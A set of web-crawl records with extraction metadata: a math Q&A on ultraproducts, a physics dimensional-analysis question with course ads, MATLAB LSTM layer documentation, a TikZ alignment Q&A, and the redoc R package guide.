http://math.stackexchange.com/questions/315698/structure-in-context-of-ultraproduct	# structure in context of ultraproduct Ultraproduct is defined as $$\prod_{i \in I} M_i$$ I know that structure is usually of form $(A, \sigma, I)$, but in this context, what exactly is structure, and how do we get the cartesian product? Edit: so $M_i$ is structure here according to the definition of ultraproduct, but how can structures be combined to form cartesian product? - Consider providing some context to this question. As it stands I don't really know what you are asking about. – arjafi Feb 27 '13 at 8:07 Ordinarily one is working with $L$-structures $M_i$ for some first-order language $L$. The Cartesian product is as usual the set of all function from $I$ to the union of the $M_i$ (or more properly to the union of the underlying sets of the $M_i$) such that $f(i)\in M_i$ for all $i$. – André Nicolas Feb 27 '13 at 8:12 So are we only looking for the domain of the structure by saying $M_i$? – mopsert Feb 27 '13 at 8:24 In the most general sense, suppose we have a family $\{ \mathfrak{A}_i \}_{i \in I}$ of structures over the same first-order language/signature, and an ultrafilter $\mathcal{U}$ on the index set $I$. The ultraproduct of this family with respect to the ultrafilter $\mathcal{U}$ is defined according to the follow steps: 1. Define an equivalence relation $\sim$ on $\prod_{i \in I} A_i$ (where $A_i$ is the universe of the structure $\mathfrak{A}_i$) by $$( x_i )_{i \in I} \sim ( y_i )_{i \in I} \; \Leftrightarrow \; \{ i \in I : x_i = y_i \} \in \mathcal{U};$$ 2. The universe of the ultraproduct $\mathfrak{A} = ( \prod_{i \in I} \mathfrak{A}_i ) / \mathcal{U}$ is then $( \prod_{i \in I} A_i ) / \mathord{\sim}$, the family of all $\sim$-equivalence classes. 3. For each $n$-ary function $f$ in the signature, the function $f^{\mathfrak{A}}$ is defined according to $$f^{\mathfrak{A}} ( [ x^1 ]_{\sim} , \ldots , [ x^n ]_\sim ) = [ y ]_\sim \; \Leftrightarrow \; \{ i \in I : f^{\mathfrak{A}_i} ( x^1_i , \ldots , x^n_i ) = y_i ) \} \in \mathcal{U};$$ 4. For each $m$-ary relation $R$ in the signature, the relation $R^{\mathfrak{A}}$ is defined according to $$R^{\mathfrak{A}} ( [ x^1 ]_\sim , \ldots , [ x^m ]_\sim ) \; \Leftrightarrow \; \{ i \in I : R^{\mathfrak{A}_i} ( x^1_i , \ldots , x^m_i ) \} \in \mathcal{U}.$$ Of course we have to show that the results of (3) and (4) above are actually well-defined, but this is not too difficult. - We give a fairly formal description, followed by more informal remarks at the end. Ordinarily, the $M_i$ are $L$-structures for a first-order language $L$. Denote the underlying set of $M_i$ by $\|M_i\|$. Let $D$ be an ultrafilter on $I$. Consider the product $\prod_{i\in I} \|M_i\|$. This is the set of all functions $f$ from $I$ to the union of the $\|M_i\|$ such that $f(i)\in \|M_i\|$ for all $i$. If $f$ and $g$ are in $\prod_{i\in I} \|M_i\|$, we say that $f$ and $g$ are equivalent modulo $D$ if $\{i\|f(i)=g(i)\} \in D$. This is an equivalence relation. The underlying set of the ultraproduct $(\prod_{i\in I} M_i)/D$ is the set of equivalence classes of $\prod_{i\in I} \|M_i\|$ under the above equivalence relation. Let \|U\|$be this set of equivalence classes. Now it remains to define the right structure$U$with underlying set$\|U\|$as described above. So we have to give interpretations for all the constant symbols, function symbols, and relation symbols of$L$. Constant symbols are the simplest. Let$c$be a constant symbol of$L$. Then$c$has an interpretation$c_i$in$M_i$. We interpret$c$in$U$to be the equivalence class of the function$f$such that$f(i)=c_i$. Now suppose that$F$is a say binary function symbol of$L$. We want to interpret$F$in$U$. Let$F_i$be the interpretation of$F$in$M_i$. We will describe the interpretation$F_U$of$F$in$U$. Let$\bar{f}$and$\bar{g}$be elements of$\|U\|$, that is, equivalence classes of functions. Then$F_U(\bar{f},\bar{g})$is the equivalence class of the function$h$such that$h(i)=F_i(f(i),g(i))$for all$i$. We do need to check that this definition, which appears to depend on our choice of representatives for$\bar{f}$and$\bar{g}$, is in fact independent of the choice of representatives. Interpretations of relation symbols are handled in a similar way. Remark: Think of elements of the product as "sequences" such that the$i$-th entry is in$\|M_i\|$. If we have two such sequences, we say they are equivalent if the set of$i$on which they agree is in$D$, informally that the set on which they agree is "large." Think of sets in the ultrafilter as having measure$1$, and their complements as having measure$0$. "Measure" is kind of stretching terminology, since we almost always only have finite additivity. But it is useful to think of$f$equivalent to$g$if they agree "almost everywhere." Then the structure on the ultraproduct is obtained in the natural way, "pointwise." Except, of course, that we identify sequences that are equal almost everywhere. Constructions of this type are also quite common in analysis. An important special case is the ultrapower$M^I/d$, where all the$M_i$are the same. Take or example the structure$ \mathbb{Z}^I/D$, where$I$is the set of natural numbers, and$D$is a non-principal ulrafilter. The elements of the ultrapower are just equivalence classes of integer-valued sequences. We add, multiply equivalence classes of sequences essentially by pointwise addition and multiplication, except that two sequences that are equal almost everywhere are considered the same. This is crucial for the preservation of properties. For example, under pointwise multiplication, the product$\mathbb{Z}$has plenty of non-trivial zero-divisors. But the ultrapower$\mathbb{Z}^I/D$doesn't. - Small typo - in your definition of$F_U$you should change to "for almost all i". – Eran Feb 27 '13 at 9:32 @Eran: One could say for almost all$i$. But I do mean to define$h$exactly as written. Note that in the definition of$F_U$, it says that$F_U(\bar{f},\bar{g})$is the equivalence class of the function$h$such that$\dots$. (Then we have to check that other representatives$f'$,$g'\$ give the same result.) – André Nicolas Feb 27 '13 at 9:52	2016-07-23 09:24:02	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.907062292098999, "perplexity": 130.35983492409665}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-30/segments/1469257821671.5/warc/CC-MAIN-20160723071021-00260-ip-10-185-27-174.ec2.internal.warc.gz"}
https://learn.careers360.com/engineering/question-the-equation-of-wave-is-given-by-yasinxv-k-where-is-the-angular-velocity-and-v-is-the-linear-velocity-the-dimensions-of-k-is/	The equation of wave is given by Y=ASinω{(x/v)-k}, where ω is the angular velocity and v is the linear velocity. The dimensions of k is As we learnt in Check the dimensional correctness - $\dpi{100} L.H.S.=R.H.S.$ - wherein It is based on the principle of homogeneity. According to this principle both sides of an equation must be the same . From principle of homogeneity $(\frac{x}{v})$has dimension of T. Preparation Products JEE Main Rank Booster 2021 This course will help student to be better prepared and study in the right direction for JEE Main.. ₹ 13999/- ₹ 9999/- Knockout JEE Main April 2021 (Subscription) An exhaustive E-learning program for the complete preparation of JEE Main.. ₹ 4999/- Knockout JEE Main April 2021 An exhaustive E-learning program for the complete preparation of JEE Main.. ₹ 22999/- ₹ 14999/- Knockout JEE Main April 2022 An exhaustive E-learning program for the complete preparation of JEE Main.. ₹ 34999/- ₹ 24999/-	2020-09-28 00:28:16	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 2, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8716611862182617, "perplexity": 6387.046757547777}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-40/segments/1600401582033.88/warc/CC-MAIN-20200927215009-20200928005009-00585.warc.gz"}
https://ww2.mathworks.cn/help/nnet/ref/nnet.cnn.layer.lstmlayer.html?requestedDomain=true&nocookie=true	# Documentation ### This is machine translation Translated by Mouseover text to see original. Click the button below to return to the English version of the page. # lstmLayer Long short-term memory (LSTM) layer ## Description An LSTM layer is a recurrent neural network (RNN) layer that enables support for time series and sequence data in a network. The layer performs additive interactions, which can help improve gradient flow over long sequences during training. LSTM layers are best suited for learning long-term dependencies (dependencies from distant time steps). ## Creation ### Syntax ``layer = lstmLayer(numHiddenUnits)`` ``layer = lstmLayer(numHiddenUnits,Name,Value)`` ### Description example ````layer = lstmLayer(numHiddenUnits)` creates an LSTM layer and sets the `NumHiddenUnits` property.``` example ````layer = lstmLayer(numHiddenUnits,Name,Value)` sets additional LSTM Parameters properties as well as Learn Rate and L2 Factors properties using one or more name-value pair arguments. You can specify multiple name-value pair arguments. Enclose each property name in quotes.``` ## Properties expand all ### LSTM Parameters Layer name, specified as a character vector. If `Name` is set to `''`, then the software automatically assigns a name at training time. Data Types: `char` Input size, specified as a positive integer or `'auto'`. If `InputSize` is `'auto'`, then the software automatically assigns the input size at training time. Example: 100 Number of hidden units (also known as the hidden size), specified as a positive integer. Example: 200 Format of output, specified as one of the following: • `'sequence'` – Output the complete sequence. • `'last'` – Output the last time step of the sequence. ### Learn Rate and L2 Factors Learning rate factor for the biases, specified as a nonnegative scalar or a 1-by-4 numeric vector. The software multiplies this factor by the global learning rate to determine the learning rate for the biases in the layer. For example, if `BiasLearnRateFactor` is 2, then the learning rate for the biases in the layer is twice the current global learning rate. The software determines the global learning rate based on the settings specified with the `trainingOptions` function. To control the value of the learning rate factor for the four individual matrices in `Bias`, specify a 1-by-4 vector. The entries of `BiasLearnRateFactor` correspond to the learning rate factor of the following: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate To specify the same value for all the matrices, specify a nonnegative scalar. Example: `2` Example: `[1 2 1 1]` L2 regularization factor for the biases, specified as a nonnegative scalar or a 1-by-4 numeric vector. The software multiplies this factor by the global L2 regularization factor to determine the learning rate for the biases in the layer. For example, if `BiasL2Factor` is 2, then the L2 regularization for the biases in the layer is twice the global L2 regularization factor. You can specify the global L2 regularization factor using the `trainingOptions` function. To control the value of the L2 regularization factor for the four individual matrices in `Bias`, specify a 1-by-4 vector. The entries of `BiasL2Factor` correspond to the L2 regularization factor of the following: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate To specify the same value for all the matrices, specify a nonnegative scalar. Example: `2` Example: `[1 2 1 1]` Learning rate factor for the input weights, specified as a numeric scalar or a 1-by-4 numeric vector. The software multiplies this factor by the global learning rate to determine the learning rate factor for the input weights of the layer. For example, if `InputWeightsLearnRateFactor` is 2, then the learning rate factor for the input weights of the layer is twice the current global learning rate. The software determines the global learning rate based on the settings specified with the `trainingOptions` function. To control the value of the learning rate factor for the four individual matrices in `InputWeights`, specify a 1-by-4 vector. The entries of `InputWeightsLearnRateFactor` correspond to the learning rate factor of the following: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate To specify the same value for all the matrices, specify a nonnegative scalar. Example: `2` Example: `[1 2 1 1]` L2 regularization factor for the input weights, specified as a numeric scalar or a 1-by-4 numeric vector. The software multiplies this factor by the global L2 regularization factor to determine the L2 regularization factor for the input weights of the layer. For example, if `InputWeightsL2Factor` is 2, then the L2 regularization factor for the input weights of the layer is twice the current global L2 regularization factor. The software determines the L2 regularization factor based on the settings specified with the `trainingOptions` function. To control the value of the L2 regularization factor for the four individual matrices in `InputWeights`, specify a 1-by-4 vector. The entries of `InputWeightsL2Factor` correspond to the L2 regularization factor of the following: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate To specify the same value for all the matrices, specify a nonnegative scalar. Example: `2` Example: `[1 2 1 1]` Learning rate factor for the recurrent weights, specified as a numeric scalar or a 1-by-4 numeric vector. The software multiplies this factor by the global learning rate to determine the learning rate for the recurrent weights of the layer. For example, if `RecurrentWeightsLearnRateFactor` is 2, then the learning rate for the recurrent weights of the layer is twice the current global learning rate. The software determines the global learning rate based on the settings specified with the `trainingOptions` function. To control the value of the learning rate factor for the four individual matrices in `RecurrentWeights`, specify a 1-by-4 vector. The entries of `RecurrentWeightsLearnRateFactor` correspond to the learning rate factor of the following: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate To specify the same value for all the matrices, specify a nonnegative scalar. Example: `2` Example: `[1 2 1 1]` L2 regularization factor for the recurrent weights, specified as a numeric scalar or a 1-by-4 numeric vector. The software multiplies this factor by the global L2 regularization factor to determine the L2 regularization factor for the recurrent weights of the layer. For example, if `RecurrentWeightsL2Factor` is 2, then the L2 regularization factor for the recurrent weights of the layer is twice the current global L2 regularization factor. The software determines the L2 regularization factor based on the settings specified with the `trainingOptions` function. To control the value of the L2 regularization factor for the four individual matrices in `RecurrentWeights`, specify a 1-by-4 vector. The entries of `RecurrentWeightsL2Factor` correspond to the L2 regularization factor of the following: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate To specify the same value for all the matrices, specify a nonnegative scalar. Example: `2` Example: `[1 2 1 1]` ### State Parameters Initial value of the cell state, specified as a `NumHiddenUnits`-by-1 numeric vector. Initial value of the output state, specified as a `NumHiddenUnits`-by-1 numeric vector. ### Weights Layer biases for the LSTM layer, specified as a `4NumHiddenUnits`-by-1 numeric vector. The bias vector is a concatenation of the four bias vectors for the components (gates) in the LSTM layer. The four vectors are concatenated vertically in the following order: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate Input weights, specified as a `4NumHiddenUnits`-by-`InputSize` matrix. The input weight matrix is a concatenation of the four input weight matrices for the components (gates) in the LSTM layer. The four matrices are concatenated vertically in the following order: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate Recurrent weights, specified as a `4*NumHiddenUnits`-by-`NumHiddenUnits` matrix. The recurrent weight matrix is a concatenation of the four recurrent weight matrices for the components (gates) in the LSTM layer. The four matrices are vertically concatenated in the following order: 1. Input gate 2. Forget gate 3. Layer input 4. Output gate ## Examples collapse all Create an LSTM layer with the name `'lstm1'` and 100 hidden units. `layer = lstmLayer(100,'Name','lstm1')` ```layer = LSTMLayer with properties: Name: 'lstm1' Hyperparameters InputSize: 'auto' NumHiddenUnits: 100 OutputMode: 'sequence' Learnable Parameters InputWeights: [] RecurrentWeights: [] Bias: [] State Parameters HiddenState: [] CellState: [] Show all properties ``` Include an LSTM layer in a `Layer` array. ```layers = [ ... sequenceInputLayer(12) lstmLayer(100) fullyConnectedLayer(9) softmaxLayer classificationLayer]``` ```layers = 5x1 Layer array with layers: 1 '' Sequence Input Sequence input with 12 dimensions 2 '' LSTM LSTM with 100 hidden units 3 '' Fully Connected 9 fully connected layer 4 '' Softmax softmax 5 '' Classification Output crossentropyex ``` Train a deep learning LSTM network for sequence-to-label classification. Load the Japanese Vowels data set as described in [1] and [2]. `XTrain` is a cell array containing 270 sequences of varying length with feature dimension 12. `Y` is a categorical vector of labels "1","2",...,"9". The entries in `XTrain` are matrices with 12 rows (one row for each feature) and a varying number of columns (one column for each time step). `[XTrain,YTrain] = japaneseVowelsTrainData;` Visualize the first time series in a plot. Each line corresponds to a feature. ```figure plot(XTrain{1}') title("Training Observation 1") legend("Feature " + string(1:12),'Location','northeastoutside')``` Define the LSTM network architecture. Specify the input size 12 (the dimension of the input data). Specify an LSTM layer to have 100 hidden units and output the last element of the sequence. Finally, specify 9 classes by including a fully connected layer of size 9, followed by a softmax layer and a classification layer. ```inputSize = 12; numHiddenUnits = 100; numClasses = 9; layers = [ ... sequenceInputLayer(inputSize) lstmLayer(numHiddenUnits,'OutputMode','last') fullyConnectedLayer(numClasses) softmaxLayer classificationLayer]``` ```layers = 5x1 Layer array with layers: 1 '' Sequence Input Sequence input with 12 dimensions 2 '' LSTM LSTM with 100 hidden units 3 '' Fully Connected 9 fully connected layer 4 '' Softmax softmax 5 '' Classification Output crossentropyex ``` Specify the training options. Specify the solver to be `'adam'` and `'GradientThreshold'` to be 1. Set the mini-batch size to 27, and set the maximum number of epochs to 100. Because the mini-batches are small with short sequences, training is better suited for the CPU. Specify `'ExecutionEnvironment'` to be `'cpu'`. To train on a GPU, if available, set `'ExecutionEnvironment'` to `'auto'` (the default value). ```maxEpochs = 100; miniBatchSize = 27; options = trainingOptions('adam', ... 'ExecutionEnvironment','cpu', ... 'MaxEpochs',maxEpochs, ... 'MiniBatchSize',miniBatchSize, ... 'GradientThreshold',1, ... 'Verbose',0, ... 'Plots','training-progress');``` Train the LSTM network with the specified training options. `net = trainNetwork(XTrain,YTrain,layers,options);` Load the test set and classify the sequences into speakers. `[XTest,YTest] = japaneseVowelsTestData;` Classify the test data. Set the mini-batch size to 27. ```miniBatchSize = 27; YPred = classify(net,XTest,'MiniBatchSize',miniBatchSize);``` Calculate the classification accuracy of the predictions. `acc = sum(YPred == YTest)./numel(YTest)` ```acc = 0.9216 ``` To create an LSTM network for sequence-to-label classification, create a layer array containing a sequence input layer, an LSTM layer, a fully connected layer, a softmax layer, and a classification output layer. Specify the size of the sequence input layer to be the feature dimension of the input data. Specify the size of the fully connected layer to be the number of classes. For the LSTM layer, choose an output size, and specify the output mode `'last'`. ```inputSize = 12; numHiddenUnits = 100; numClasses = 9; layers = [ ... sequenceInputLayer(inputSize) lstmLayer(numHiddenUnits,'OutputMode','last') fullyConnectedLayer(numClasses) softmaxLayer classificationLayer];``` For an example showing how to train an LSTM network for sequence-to-label classification and classify new data, see Sequence Classification Using Deep Learning. To create an LSTM network for sequence-to-sequence regression, use the same architecture for sequence-to-labe classification, but set the output mode of the LSTM layer to 'sequence'. ```inputSize = 12; numHiddenUnits = 100; numClasses = 9; layers = [ ... sequenceInputLayer(inputSize) lstmLayer(numHiddenUnits,'OutputMode','sequence') fullyConnectedLayer(numClasses) softmaxLayer classificationLayer]; ``` To create an LSTM network for sequence-to-one regression, create a layer array containing a sequence input layer, an LSTM layer, a fully connected layer, and a regression output layer. Specify the size of the sequence input layer to be the feature dimension of the input data. Specify the size of the fully connected layer to be the number of responses. For the LSTM layer, choose an output size, and specify the output mode `'last'`. ```inputSize = 12; outputSize = 125; numResponses = 1; layers = [ ... sequenceInputLayer(inputSize) lstmLayer(outputSize,'OutputMode','last') fullyConnectedLayer(numResponses) regressionLayer];``` To create an LSTM network for sequence-to-sequence regression, use the same architecture for sequence-to-one regression, but set the output mode of the LSTM layer to `'sequence'`. ```inputSize = 12; outputSize = 125; numResponses = 1; layers = [ ... sequenceInputLayer(inputSize) lstmLayer(outputSize,'OutputMode','sequence') fullyConnectedLayer(numResponses) regressionLayer];``` For an example showing how to train an LSTM network for sequence-to-sequence regression and predict on new data, see Sequence-to-Sequence Regression Using Deep Learning. You can make LSTM networks deeper by inserting extra LSTM layers with the output mode `'sequence'` before the LSTM layer. For sequence-to-label classification networks, the output mode of the last LSTM layer must be `'last'`. ```inputSize = 12; numHiddenUnits1 = 125; numHiddenUnits2 = 100; numClasses = 9; layers = [ ... sequenceInputLayer(inputSize) lstmLayer(numHiddenUnits1,'OutputMode','sequence') lstmLayer(numHiddenUnits2,'OutputMode','last') fullyConnectedLayer(numClasses) softmaxLayer classificationLayer];``` For sequence-to-sequence classification networks, the output mode of the last LSTM layer must be `'sequence'`. ```inputSize = 12; numHiddenUnits1 = 125; numHiddenUnits2 = 100; numClasses = 9; layers = [ ... sequenceInputLayer(inputSize) lstmLayer(numHiddenUnits1,'OutputMode','sequence') lstmLayer(numHiddenUnits2,'OutputMode','sequence') fullyConnectedLayer(numClasses) softmaxLayer classificationLayer];``` expand all ## References [1] M. Kudo, J. Toyama, and M. Shimbo. "Multidimensional Curve Classification Using Passing-Through Regions." Pattern Recognition Letters. Vol. 20, No. 11–13, pages 1103–1111. [2] UCI Machine Learning Repository: Japanese Vowels Dataset. https://archive.ics.uci.edu/ml/datasets/Japanese+Vowels [3] Hochreiter, S, and J. Schmidhuber, 1997. Long short-term memory. Neural computation, 9(8), pp.1735–1780.	2018-07-19 11:26:51	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 8, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8483057022094727, "perplexity": 1896.9576407531272}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-30/segments/1531676590866.65/warc/CC-MAIN-20180719105750-20180719125750-00219.warc.gz"}
https://tex.stackexchange.com/questions/213105/forcing-left-text-alignment-in-a-fit-tikz-node	# Forcing left text alignment in a fit Tikz node? I would like to add Tikz "marker" nodes in running text; then fit another node based on those "marker" nodes' positions; and insert a text into the fitted node, such that it is left aligned, and with line-breaking disabled. Using this MWE: \documentclass{book} \usepackage{trace} \usepackage{tikz} \usetikzlibrary{calc} \usetikzlibrary{fit} \usepackage{lua-visual-debug} \begin{document} % \tikz\node[fill=red](end marker){}; % same as at(0,0) % \tikz\coordinate(end marker) at (0,0); % must have overlay, remember picture for the fit to work Lorem ipsum dolor sit amet, consectetur adipis-icing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco $laboris$ nisi ut aliquip ex ea commodo conse- \tikz[overlay, remember picture]\node[fill,minimum size=2pt,inner sep=0pt,outer sep=0pt](begin marker)at(0,0){};% quat. Duis aute irure dolor in reprehenderit \tikz[overlay, remember picture]\node[fill=red,minimum size=2pt,inner sep=0pt,outer sep=0pt](end marker)at(0,0){};% in voluptate velit esse cillum dolore eu fugiat nulla pariatur. \begin{tikzpicture}[overlay, remember picture] \traceon % \node% [% align=left, anchor=south west, inner sep=0pt, outer sep=0pt, minimum size=0pt, %text width=, % "Setting dimension to an empty string causes the automatic line breaking to be disabled." text=red, % hand tuned for best position: fit={($(begin marker)+(-1pt,0pt)$)($(end marker)+(0,-2pt)$)}, ]% %at ($(begin marker)+(0,2.5pt)$) % don't use at() if using fit! {AAAAA}% ; \traceoff % \end{tikzpicture} \end{document} ... I get this output: ... that is: the "marker" nodes are placed as expected; so is the fit node; but in spite of align=left, the AAAAA text is clearly centered in the fit node (there are glues left and right of the text, implying centering). So, how can I get the AAAAA text to be left aligned in the fit node? Put align=left after fit = {...}. \documentclass{book} \usepackage{trace} \usepackage{tikz} \usetikzlibrary{calc} \usetikzlibrary{fit} \usepackage{lua-visual-debug} \begin{document} % \tikz\node[fill=red](end marker){}; % same as at(0,0) % \tikz\coordinate(end marker) at (0,0); % must have overlay, remember picture for the fit to work Lorem ipsum dolor sit amet, consectetur adipis-icing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco $laboris$ nisi ut aliquip ex ea commodo conse- \tikz[overlay, remember picture]\node[fill,minimum size=2pt,inner sep=0pt,outer sep=0pt](begin marker)at(0,0){};% quat. Duis aute irure dolor in reprehenderit \tikz[overlay, remember picture]\node[fill=red,minimum size=2pt,inner sep=0pt,outer sep=0pt](end marker)at(0,0){};% in voluptate velit esse cillum dolore eu fugiat nulla pariatur. \begin{tikzpicture}[overlay, remember picture] \traceon % \node% [% anchor=south west, inner sep=0pt, outer sep=0pt, minimum size=0pt, %text width=, % "Setting dimension to an empty string causes the automatic line breaking to be disabled." text=red, % hand tuned for best position: fit={($(begin marker)+(-1pt,0pt)$)($(end marker)+(0,-2pt)$)},align=left, ]% %at ($(begin marker)+(0,2.5pt)$) % don't use at() if using fit! {AAAAA}% ; \traceoff % \end{tikzpicture} \end{document} • Well, that's one answer I would have expected would have been much more complicated, than it turned out to be :) Many thanks, @HarishKumar - cheers! – sdaau Nov 20 '14 at 15:54 • @sdaau Well, unexpected happens, some times ;) – user11232 Nov 20 '14 at 15:57	2019-10-15 09:53:12	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.972839891910553, "perplexity": 6673.76797734121}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986657949.34/warc/CC-MAIN-20191015082202-20191015105702-00199.warc.gz"}
https://noamross.github.io/redoc/articles/mixed-workflows-with-redoc.html	redoc is a package to enable a two-way R Markdown-Microsoft Word workflow. It generates Word documents that can be de-rendered back into R Markdown, retaining edits on the Word document, including tracked changes. ## Installation Install the redoc package with the remotes (or devtools) package: remotes::install_github("noamross/redoc") Note that redoc requires a recent version of Pandoc (>= 2.1.2). If you have RStudio version 1.2 or higher, you should have this by default. ## Basic Usage redoc provides an R Markdown output format, redoc(), built on top of rmarkdown::word_document(). You will typically call it via the YAML header in your R Markdown document: --- output: redoc::redoc --- The simplest way to get a working YAML header (and example document) is to create a new R Markdown file from the template. To do this in RStudio, select File > New File > R Markdown…, then in the pop-up window select ‘From Template’ and Reversible Microsoft Word Document {redoc}. (Note that if you just installed the redoc package, you may have to restart RStudio for the template to appear.) redoc() output resembles typical R Markdown Word output, but has some key differences: • Critic Markup edits will be converted to Word tracked changes. • By default, parts of the documented generated programmatically will be highlighted. (Change this with highlight_outputs = TRUE) • The original .Rmd and all code is stored internally in Word document for later retrieval. Word files that have been created by redoc() can be reverted to .Rmd with the dedoc() function, even after they are edited. dedoc() will return the path of the de-rendered document. library(redoc) print(basename(redoc_example_docx())) #> [1] "example.docx" dedoc(redoc_example_docx()) #> [1] "./example.Rmd" If the Word document has tracked changes, dedoc() will, by default, convert these to back to Critic Markup syntax. However, tracked changes are not necessary. You can view the changes between the original R Markdown file and the de-rendered one using the redoc_diff() function. redoc_diff(redoc_example_edited_docx()) Note that redoc tracks changes to parts of the document that are specified in the YAML header - title, subtitle, author, and date. ## RStudio Integration redoc has three RStudio Addins to simplify workflow when working with R Markdown documents: • “Render and Update” renders an R Markdown Document and the updates the text after round-tripping in to Word format and back. This helps with cleaning up small syntax differences. YAML headers, for instance, will use single rather than double quotes, only quote when necessary, and use yes and no instead of TRUE and FALSE. Critic Markup annotations will be separated from adjacent text by a space. Lines will be wrapped to a uniform width. If you round-trip your document this way, you can minimize the changes that result from editing. If you don’t use the Addin, you can retrieve the round-tripped document with redoc_extract_rmd(..., type = 'roundtrip'). • “Dedoc to active file” and “Dedoc to new file” de-render a file and place the contents in RStudio editor tabs, and also display a diff changes in the RStudio viewer. The package also contains a redoc R Markdown template. ## Handling changes redoc attempts to be smart about restoring code in Word documents that have been modified. By default, if the outputs of code blocks move, the code blocks will also move in the de-rendered R Markdown. Note that this can break code if blocks are moved out of order. If code block outputs are deleted, the original code is restored, but wrapped in HTML comments (<!-- ... -->). Inline code that is deleted is not restored. Defaults of how code is restored can be modified via the block_missing and inline_missing arguments in dedoc(). You can also extract the original R Markdown file used to produce a Word document with redoc_extract_rmd(). The redoc() format has some additional arguments for formatting Word documents, margins and line_numbers. These can be set in the YAML header to modify your, er, margins and line numbering --- output: redoc::redoc: margins: 0.5 #sets margins to 0.5 inches line_numbers: TRUE # adds line numbers to the document --- These can also take more complex lists of values for finer control. These functions may be migrated to officedown at a future time. ## Known Limitations • redoc does not work with .docx files edited with LibreOffice because of differences between Word and LibreOffice files’ internal structure. • Critic Markup comments can not be overlapping or nested. If you convert a word document to markdown and back, comments will be out of place.	2020-09-19 15:53:41	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.260592520236969, "perplexity": 6554.367202957593}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, 